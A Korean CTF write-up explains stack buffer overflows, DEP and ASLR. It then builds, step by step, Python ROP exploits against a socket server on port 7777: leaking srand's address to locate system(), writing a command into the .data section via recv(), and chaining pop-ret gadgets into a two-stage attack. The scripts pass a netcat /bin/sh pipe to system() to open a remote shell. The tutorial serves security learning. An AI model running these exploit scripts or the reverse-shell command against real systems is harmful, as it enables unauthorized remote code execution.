SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr
목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)... 4 4. 실습... 4 4.1. 프로그램흐름확인... 4 4.2. 프로그램구조분석... 6 4.3. BOF 가능여부확인... 7 4.4. ASLR 환경에서 System() 함수주소확인하기... 9 4.5. DEP 환경하에서 ROP 공격... 11 4.6. 공격소스합치기... 15 5. 마치며... 17
1. 개요 CTF 문제로나왔던프로그램을풀어봄으로서 BOF 기법및 BOF 의방어기법인 DEP 및 ASLR 에대하여알아보고, 위기법이적용된환경하에서 exploit 을하는방법에대하여자세히분석하고자합니다. 2. Buffer OverFlow 프로그램내에서함수가실행될때에는 call 0x401EF8( 함수의주소 ) 식으로함수를호출하여실행하게됩니다. call 로함수를호출하게되면 EIP( 다음명령어의위치 ) 와 EBP( 스택의 Base 주소 ) 를새로세팅하게됩니다. 이때프로그램이함수를종료한다음에원래의위치로돌아오기위해서는 EIP와 EBP의주소를저장해두어야원래의위치로돌아올수있으며, 돌아온이후에스택의내용을그대로사용할수있게됩니다. 때문에함수를호출하게되면 call구문에서자동적으로 EIP(ret 주소라부릅니다 ) 를, EBP의주소는함수내부에서스택에 PUSH하게됩니다. 이후함수내에서스택에데이터를저장하게되면자연스럽게 EIP 와 EBP 위에스택의내용이쌓이게되고프로그 램이그내용을사용하게되는것입니다.
만약스택에데이터를저장할때스택의크기보다많은양의데이터를저장하게된다면스택을넘어가게 (over flow) 되어저장된 EBP와 EIP의영역까지올라오게되어두레지스터의값을변경시키게됩니다. 이렇게되면함수가종료되고난뒤에 EIP주소를읽어들여리턴을해야하지만 RET주소가변경되어있기에두레지스터의값이변경되게되어결국프로그램의흐름을조작할수있게됩니다. 이를 Buffer OverFlow 공격이라부릅니다. 3. BOF 방어기법 3.1. DEP(Data Execution Prevention) BOF 등으로 EIP를조절하여쉘코드를스택에심어두고실행하는식의공격이발생하자이를막기위하여추가한방어기법입니다. 스택에실행권한을제거하여스택내부에쉘코드를삽입하여실행시키더라도권한이없어실행되지않아공격에실패하게하는기법입니다. 이기법이적용되었을경우에는프로세스맵을통하여스택을확인했을때실행권한의유무를확인할수있습니다. 이를우회하기위하여나온방법이 Return Oriented Programming으로서 EIP를조절하여쉘코드를삽입하는것이아닌프로그램이사용하기위하여올려둔라이브러리상에있는함수 (Gadget) 를실행하게함으로서 DEP를무력화하는방법이있습니다.
3.2. ASLR(Address Space Layout Randomization) 스택의실행권한을없애도 ROP등으로라이브러리에있는함수를사용하게되자이를어렵게하기위하여프로그램을실행할때마다스택, 라이브러리등의시작주소를랜덤하게바꾸어함수를사용하기어렵게만드는기법입니다. 이기법이적용되었을경우프로그램을실행할때마다계속라이브러리의주소가변경되는것을확인할수있습니다. 때문에 ROP공격을하기위해서는함수의정확한주소를알아야하는데주소가계속변경되기에공격의성공률은매우낮아지게됩니다. 이를우회하기위해서는 ASLR로바뀌지않는라이브러리를사용하거나, 프로그램이실행되었을때원하는함수의주소를알아낼수만있다면 ROP를통해공격이가능하게됩니다. 4. 실습 4.1. 프로그램흐름확인실습할프로그램은 test1이라는프로그램으로서간단한소켓통신을하는프로그램입니다. 우선프로그램을실행하게되면 란메시지만나온채로프로그램이대기하게됩니다. 프로그램을 Ida 를통해분석해보면
이렇게 7777 포트를열어두게되어있는것을확인이가능하며 실제로도 7777 포트를열어두고있는것을확인할수있습니다. 그럼 7777 포트에접속을시도해보면 접속이될경우서버측에서는접속이성공했다는메시지를출력하며클라이언트측에서메시지를보내도 아무런작업을하지않고프로그램이종료되는것을확인할수있습니다.
4.2. 프로그램구조분석 이프로그램에서 EIP 를변경하여흐름을조작하기위해서는 BOF 가가능한부분을찾아야합니다. 이를위하 여디버거를통하여프로그램을분석해봅니다. 우선프로그램이실행되면 socket() 를이용하여소켓을만들게되는데각각의인자는 AF_INET, SOCK_STREAM 으로서일반적인 TCP/IPv4 통신으로만들게됩니다. 그리고 7777(0x1e61) 포트와시스템의 IP 를 bind 하여소켓 을생성합니다. listen이후에클라이언트가접속했을경우 accept함수를이용하여 client_fd를만든후 fork를하여자식프로세스를생성하게됩니다. 자식프로세스가생성되게되면 break문에의해 while문밖으로나가 client_fd를인자로받는 func() 함수를실행하게되고, 부모프로세스의경우엔 client_fd를종료하여컨트롤권한을자식프로세스에게넘긴후 while문에의한대기상태를이어가게됩니다.
func() 함수에서는우선지역변수 v1을 srand() 함수를이용하여 time 값으로초기화하여랜덤한값인 v2를만듭니다. 이후서버측에메시지를출력하게한뒤클라이언트에 MSG : 를출력하게한뒤 0x400크기의메모리를만들어두고클라이언트에게서메시지를받게됩니다. 이때클라이언트에서받는값은 0x401 + (0x00 ~ 0x61) 의값으로서버퍼의크기인 0x400보다크게되어 BOF가발생할수있게됩니다. 4.3. BOF 가능여부확인 BOF 의가능성이있는지확인하기위하여실제로프로그램에테스트를해봅니다. EIP의변화를확인하기위하여 gdb를 attach한상태에서프로그램을실행시킵니다. 이때 fork를통하여생성되는자식프로세스까지따라가기위하여 set follow-fork-mode child를, 클라이언트측에서메시지를받는부분을확인하기위해서 recv() 함수가있는부분인 0x08048782에브레이크포인트를건후프로그램을실행시킵니다.
telnet 으로접속한뒤입력할문자열을 0x400 보다긴길이를입력하여서버에전송을시도합니다. 우선클라이언트에서접속을시도하게되면 recv() 함수를실행하기전에브레이크포인트에정지하게됩니다. 이때 EIP를확인하게되면정상적인 EIP인 0x08048782란값을확인할수있습니다. 이상태에서프로그램을진행한뒤위와같이버퍼의크기보다큰값을받게되면 Segmentation Fault가발생하게되고이때 EIP를확인하면클라이언트에서입력한값인 A(0x41) 로차있음을확인할수있습니다.
스택역시확인해보면입력한값인 0x41 로가득차있는것을볼수있습니다. 이로서 BOF 를이용하여 EIP 를조작할수있음을확인할수있습니다. 4.4. ASLR 환경에서 System() 함수주소확인하기일반적인 BOF공격인쉘코드삽입후실행하는경우는 DEP에의해불가능한상황이며 ROP를이용하여공격을시도해야합니다. 하지만 ASLR에의하여함수들의주소가계속변하게되어주소를특정하기가매우힘들어사실상공격이불가능하게됩니다. 하지만프로그램에서함수를사용하기위해서는한번라이브러리를로드해야하며이렇게한번로드한프로그램의주소는이후부터는변하지않고메모리상에올라오게됩니다. 이때그프로그램의주소를알아낼수있다면그함수를바탕으로 ROP공격을시도할수있게됩니다. system() 함수는 /bin/sh -c string를호출하여 string에지정된명령어를실행하는함수입니다. 따라서 system() 함수를호출할수만있다면공격자가원하는명령을이프로그램이지닌권한으로실행시킬수있게되어쉘코드를삽입하지않아도 BOF로 /bin/sh 를실행한것과비슷한동작을기대할수있습니다. ROP공격으로사용할함수는 system() 함수이지만프로그램을분석해보면 system() 함수는사용하고있지않습니다. 하지만라이브러리를로드할때함수를한번에로드하기때문에그라이브러리내에서함수들의 offset은모두동일할것입니다. 때문에임의의함수의주소와 system() 함수의주소의 offset 차를구할수있으면그 offset차를바탕으로 system() 함수의주소가어디에위치하는지파악이가능할것입니다. 임의의함수로선택할것은 recv() 함수이전에호출하는 libc라이브러리내의함수이면되기에 srand() 함수를 offset을구하는대상으로하겠습니다. srand() 함수의 plt 주소는 Ida에서확인이가능합니다 ( 파일의 elf구조상에고정되어있는값이므로변경되지않습니다 ). Ida에서확인한주소를호출하게되면실제메모리상에로드되는 srand() 함수의주소를알수있으며 system() 함수와의 offset 차를알게되면 system() 함수의실제메모리상의주소를알수있게됩니다. 프로그램이실행된뒤의함수의메모리상의주소는 gdb에서라이브러리가로드된뒤 p명령으로확인이가능합니다 ( 연산도가능합니다 ).
이로서 system() 함수는 srand() 함수로부터 +54464 만큼떨어져있음을확인할수있습니다 (offset 의길이는 libc 버전에따라다르기에각라이브러리별로따로구해야합니다 ). 이제서버에서 srand() 함수의위치를알수있다면 system() 함수의위치도계산할수있게되었습니다. 때문에 system() 함수의주소를알기위해서는서버로부터 srand() 함수의위치를받아와야만합니다. 이를위해서사용할방법은여러개가있을수있으나 send() 함수를이용하여서버에서 srand() 함수의위치를보내줄수있도록하겠습니다. send() 함수는 4 개의인자를가지는함수로서형태는 int send(int s, const void *msg, size_t len, int flags) 이 며순서대로소켓디스크립터, 전송할데이터, 데이터의길이, 전송플래그를가지게됩니다. 첫번째인자의경우기본적으로 Linux에서파일디스크립터로 1 ~ 3을 (stdin, stdout, stderr) 사용하고있기때문에 4번부터시작하게됩니다. 따라서아무런프로그램도사용하지않다고할때 4번으로두면되며 (gdb로 attach할경우에는 gdb에서 4개를사용하기에 8번으로하면됩니다 ), 전달할메시지는 srand_plt의값, 길이는적당히두고, 플래그의경우는 0으로두면됩니다 ( 플래그의자세한사항은인터넷을찾아보시기바랍니다 ). 따라서원래의 send() 함수로값을적당히넣어 EBP 값까지채운뒤 EIP 값에 call _send 의주소를넣고인자로 4 개의값을넣게되면오버플로우가발생하여 send 함수가동작, 클라이언트에 srand 함수의주소를보내주게 됩니다. 원활한공격을위하여 python script 를작성합니다. from socket import * import struct sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( ('127.0.0.1', 7777) ) srand_plt = "\x24\xa0\x04\x08" #srand_plt 의주소값 payload = "A" * 0x408 + "BBBB" # 버퍼를채우기위한구문 payload += "\x1d\x87\x04\x08" + "\x04\x00\x00\x00" + srand_plt + "\x04\x00\x00\x00" + "\x00\x00\x00\x00" #call _send를작성하여보내는코드 print sock.recv(1024) sock.send(payload) # 처음에오는 MSG : 를받기위한코드 # 작성한공격구문을서버로전송 srand_addr = struct.unpack("<l", sock.recv(4))[0] # 바이트코드를언팩하기위한구문
system_addr = srand_addr + 54464 print "system() addr is %x" % system_addr #system() 함수와의차이를계산하는구문 # 구한 system() 함수의주소를출력 sock.close() 위스크립트를실행한결과는다음과같습니다. 이프로그램의경우서버에서 recv를할떄받아오는버퍼의크기가 rand() 함수에의해늘변하기에공격이성공하기도하고실패하기도합니다. 그리고서버프로그램은한번작동하게되면종료되지않고계속작동하기때문에 system() 함수의주소는변하지않게됩니다. 따라서 system() 함수의주소를파악할수있게되었고이를바탕으로 ROP공격이가능하게됩니다. 4.5. DEP환경에서 ROP공격 ROP공격은공격자가쉘코드를삽입하여프로그램을조작하는것이아닌이미있는함수 (Gadget) 으로이동시켜원하는동작을하도록조작하는기법입니다. 따라서스택의실행권한이막혀있더라도실행권한이있는 ( 구조상있을수밖에없는 ) 프로그램에서로드한함수들을이용하여공격할수있는것입니다. 즉 BOF를이용, system() 함수의주소를호출하여함수를실행하는것이이번공격의목적입니다. 다만이프로그램의경우서버에서따로동작하는프로그램입니다. 때문에 system() 함수를이용하여 /bin/sh 를수행하게되면서버에서쉘이실행되기에공격하는측인클라이언트에서쉘에접근할수없게됩니다. 따라서 netcat을이용하여클라이언트측에서 2개의포트를열어서비스를준비한뒤파이프명령을이용하여쉘을실행하게되면한쪽포트로는명령을전달하고다른쪽포트로는결과를출력하게하는방식으로이용할수있게됩니다. 즉 system() 함수에넣을명령어는 nc 127.0.0.1 9090 /bin/sh nc 127.0.0.1 9091이며이는 nc 9090에서나온결과를 /bin/sh에전달하고또그결과를 9091에전달하는명령이되게됩니다. from socket import * sock = socket(af_inet, SOCK_STREAM, 0)
sock.connect( ('127.0.0.1', 7777) ) cmd = "nc 127.0.0.1 9090 /bin/sh nc 127.0.0.1 9091" #system() 에서 실행할 명령어 payload = "A" * 0x408 + "BBBB" payload += system_addr + cmd # 오버플로우를위한문자열 #system() 함수와명령을실행할인자값 print sock.recv(1024) sock.send(payload) sock.close() 하지만함수를호출할때문자열이인자로들어갈경우에는그문자열이아닌그문자열의주소값이들어가야합니다. 하지만프로그램상에는공격에필요한문자열이존재하지않기때문에문자열의주소값을구할수없습니다. 따라서메모리에문자열을넣어두고그주소를구하여 system() 함수에서호출하여실행하여야합니다. 프로그램을처음에코딩할때에는메모리를할당하는것이자유로우나컴파일된프로그램에새로메모리를할당하는것은매우조심해야합니다. 만약프로그램을수행하는데중요한부분에메모리를할당할경우에프로그램이예기치않는동작을하며종료될수있기때문입니다. 그리고 ROP를이용하여할당된메모리를이용하기위해서는할당한메모리의주소는변하지않아야이용하기가편합니다. 하지만이프로그램은 ASLR에의하여메모리주소가계속변하기때문에고정되어있는메모리영역을찾아할당해야만합니다. 이를위해서실행되고있는프로세스 map 을확인해봅니다. 0x0804a000 ~ 0x0804b000 의메모리구간이쓰기권한이있는메모리인것을확인이가능합니다. 이부분은 이프로그램의.data 섹션이위치하는곳으로서항상같은곳에위치하는메모리구간입니다..data 섹션은메모리상에서전역변수등이초기화되어저장되는데이터공간으로서 SHT_ALLOC 및 SHT_WRITE Flag 로되어있어쓸수있는권한이있습니다. 그리고리눅스에서는메모리를로드할때페이지 단위로로드하기때문에위주소에서하위공간은비어있을가능성이크게됩니다.
따라서위의메모리주소에서끝에가까운위치에할당을하게되면프로그램의손상을최소화하면서원하는문자열을메모리에할당하는것이가능하게됩니다. 문자열을메모리에할당하는방법은여러가지가있을수있으나서버에서 recv() 함수로데이터를받게되면이데이터가버퍼에저장되기에 recv() 함수를이용하면문자열의할당이가능하게됩니다. 즉 system() 함수를이용하여쉘을여는방법을정리하면 1. system() 함수의주소를구한뒤, 2. recv() 함수를이용하여버퍼를할당하고, 3. 실행할명령어를 send() 로전달하여메모리에할당하고, 4. system() 함수를실행하여쉘을여는것입니다. recv() 함수의인자는 send() 함수와동일하기에 call _send를호출한방식을이용하여 recv() 함수를호출하게할수있습니다.
이때전송받을버퍼의크기는전달되는메시지보다크기만하면되므로크기는적당히처리해도됩니다. from socket import * sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( ('127.0.0.1', 7777) ) cmd = "nc 127.0.0.1 9090 /bin/sh nc 127.0.0.1 9091" #system() 에서실행할명령어 recv_addr = "\x82\x87\x04\x08" #call _recv의주소값 buffer_addr = "\x10\xa9\x04\x08" #cmd를저장할메모리의주소값 payload = "A" * 0x408 + "BBBB" # 오버플로우를위한문자열 payload += recv_addr + "\x04\x00\x00\x00" + buffer_addr + "\x90\x00\x00\x00" + " \x00\x00\x00\x00" # 서버에서 recv() 함수를실행하도록하는코드 payload += system_addr + buffer_addr #system() 함수를실행하도록하는코드 print sock.recv(1024) sock.send(payload) sock.send(cmd) # MGS : 를받기위한명령어 # 오버플로우문자열을보내기위한 send() # 위 payload로인해실행된 recv() 에명령어를넣기위한 send() sock.close() 하지만이코드에서 recv() 함수를실행하고난뒤 system() 함수를실행해야하나이전에넣었던인자값들때문에 system() 함수를실행할수없게됩니다. 그렇기에이전의인자들을지워줘야하는데이때사용할수있는어셈블리어는 pop, ret 입니다. 이는함수의호출이후인자를없앨때사용하는구문으로서거의대부분의함수종료부분에들어있는구문입니다. pop의개수를처음 ROP구문에사용했던인자의수만큼맞추고사용하게되면이전에들어있던인자들을지울수있게되는것입니다. 하지만인자를지울수없기에다른함수를호출할수없는상황에서인자를지우는함수를호출하는것은불가능해보입니다. 이때사용할수있는부분이함수의 call 이후 return하는부분입니다. 기본적으로 call구문을사용하면다음명령을실행할 EIP값을 return인자로 push하고 jmp하게됩니다. 이때 recv() 함수을 call recv() 가아닌 jmp recv로하고 return값을 pop ret쪽으로넘겨주게되면인자를지우면서다음명령어도실행할수있게되는것입니다. 이렇게찾아낸 pop ret 구문을이용하여인자를없애고 system() 함수를실행할수있게됩니다. 그리고 system() 함수도 call 을이용하여호출한것이아니기때문에 return 주소가들어갈부분을넣어줘야합니다. 그리고서버에서함수처리에시간지연이생길수있으므로 sleep 으로잠깐대기하여동기화를실시하도 록합니다. from socket import * import time sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( ('127.0.0.1', 7777) ) cmd = "nc 127.0.0.1 9090 /bin/sh nc 127.0.0.1 9091" #system() 에서실행할명령어
recv_addr = "\x82\x87\x04\x08" buffer_addr = "\x10\xa9\x04\x08" ppppr_addr = "\xcc\x89\x04\x08" system_addr = "\x60\xe2\x5e\xf7" #jmp _recv의주소값 #cmd를저장할메모리의주소값 #pop ret Gadget의주소값 # 앞의코드를이용하여얻은주소값 payload = "A" * 0x408 + "BBBB" # 오버플로우를위한문자열 payload += recv_addr + ppppr_addr + "\x04\x00\x00\x00" + buffer_addr + "\x90\x00\x00\x00" + "\x00\x00\x00\x00" # 바로 recv() 로 jmp하도록수정한코드 payload += system_addr + "RETN" + buffer_addr #ret주소까지넣은코드 print sock.recv(1024) sock.send(payload) time.sleep(0.1) sock.send(cmd) # 동기화를위해넣은구문 sock.close() 이렇게코드를작성한뒤공격자쪽에서 nc 를이용하여 9090, 9091 포트를열어둔상대로위스크립트를실 행하게되면 공격이성공하게되어위와같이서버에서접속하게되고 9090 포트에서입력한명령의결과를 9091 포트에 서보여주는것을확인할수있습니다. 4.6. 공격소스합치기 이프로그램의경우에는한번의공격이후에도프로그램이계속실행되고있어 1회의공격으로 system() 함수의주소를알아오고, 그것을바탕으로다시공격을하여쉘을획득할수있었습니다. 하지만한번의공격이후에프로그램이종료될경우에는 1회의공격만으로함수의주소를구함과동시에공격까지실행해야합니다. 즉이프로그램이 recv() 함수를 2번호출하도록해야하는데 pop ret Gadget을호출하였을때와비슷하게하면됩니다. 처음 send() 함수를이용하여 system() 함수의주소값을넘기고난뒤에 return 할주소에다음명령을받을수
있도록 recv() 함수를호출하게하면되는것입니다. 하지만 recv() 함수를임의로호출하기에는메모리할당의 문제가남습니다. 임의로메모리를할당하는것은최소화하는것이좋으며이미 system() 의명령을넣기위 하여할당하였기때문에새로할당하는것보다는이미있는 recv() 함수를사용하는것이좋습니다. 즉 func() 함수를호출하여내부에있는 recv() 함수를자연스럽게호출하게하는것이조금더나은방법입니다. 이렇게 하는방법을 double staged 되어있다고합니다. from socket import * import struct import time sock = socket(af_inet, SOCK_STREAM, 0) sock.connect( ('127.0.0.1', 7777) ) cmd = "nc 127.0.0.1 9090 /bin/sh nc 127.0.0.1 9091" #system() 에서 실행할 명령어 func_addr = "\xd4\x86\x04\x08" #Double stage를위한 func() 함수의주소 srand_plt = "\x24\xa0\x04\x08" #srand() 의 plt send_addr = "\x10\x86\x04\x08" #jmp _send의주소값 recv_addr = "\x82\x87\x04\x08" #jmp _recv의주소값 buffer_addr = "\x10\xa9\x04\x08" #cmd를저장할메모리의주소값 ppppr_addr = "\xcc\x89\x04\x08" #pop ret Gadget의주소값 client_fd = "\x04\x00\x00\x00" # 디스크립터값, 자주사용함으로변수화 payload = "A" * 0x408 + "BBBB" payload += send_addr + ppppr_addr + client_fd + srand_plt + "\x04\x00\x00\x00" + "\x00\x00\x00\x00" payload += func_addr + "RETN" + client_fd #func() 함수의인자인 fd도같이전송 print sock.recv(1024) sock.send(payload) srand_addr = struct.unpack("<l", sock.recv(4))[0] system_addr = srand_addr + 54464 # 계산을위하여언팩 payload2 = "A" * 0x408 + "BBBB" #2번째공격에쓰일 payload payload2 += recv_addr + ppppr_addr + client_fd + buffer_addr + "\x90\x00\x00\x00" + "\x00\x00\x00\x00" payload2 += struct.pack("<l", system_addr) + "RETN" + buffer_addr # 다시바이트코드로패킹 print sock.recv(1024) sock.send(payload2) time.sleep(0.1) sock.send(cmd) sock.close() 그리고위스크립트를실행하게되면
이렇게 2 번 func() 함수가호출되어 MSG : 가 2 번도착하는것을확인할수있습니다. 그리고 nc 로열어둔포트를확인하게되면접속이성공적으로이루어졌음을확인할수있고만약프로그램 이 setuid 가설정되어있을경우엔그프로그램의권한으로쉘을획득하는것이가능하게됩니다 5. 마치며 CTF문제를풀어보며 ASLR환경하에서 system() 함수의주소를구하여 ROP방식으로 exploit을하는방법에대하여알아봤습니다. 공격자의공격을막기위하여구성한 ASLR과 DEP환경하에서도여전히 EIP조작에의한공격이가능함을확인할수있었고이를이용하여쉘을띄우는것역시가능했습니다. 이는실제상용프로그램일지라하더라도 BOF취약점이있는경우에비슷하게적용이가능한부분이기에프로그램의코딩시에취약점이이런발생하지않도록사용자의입력을받아들이는부분에있어예외처리를충분히해야할것입니다.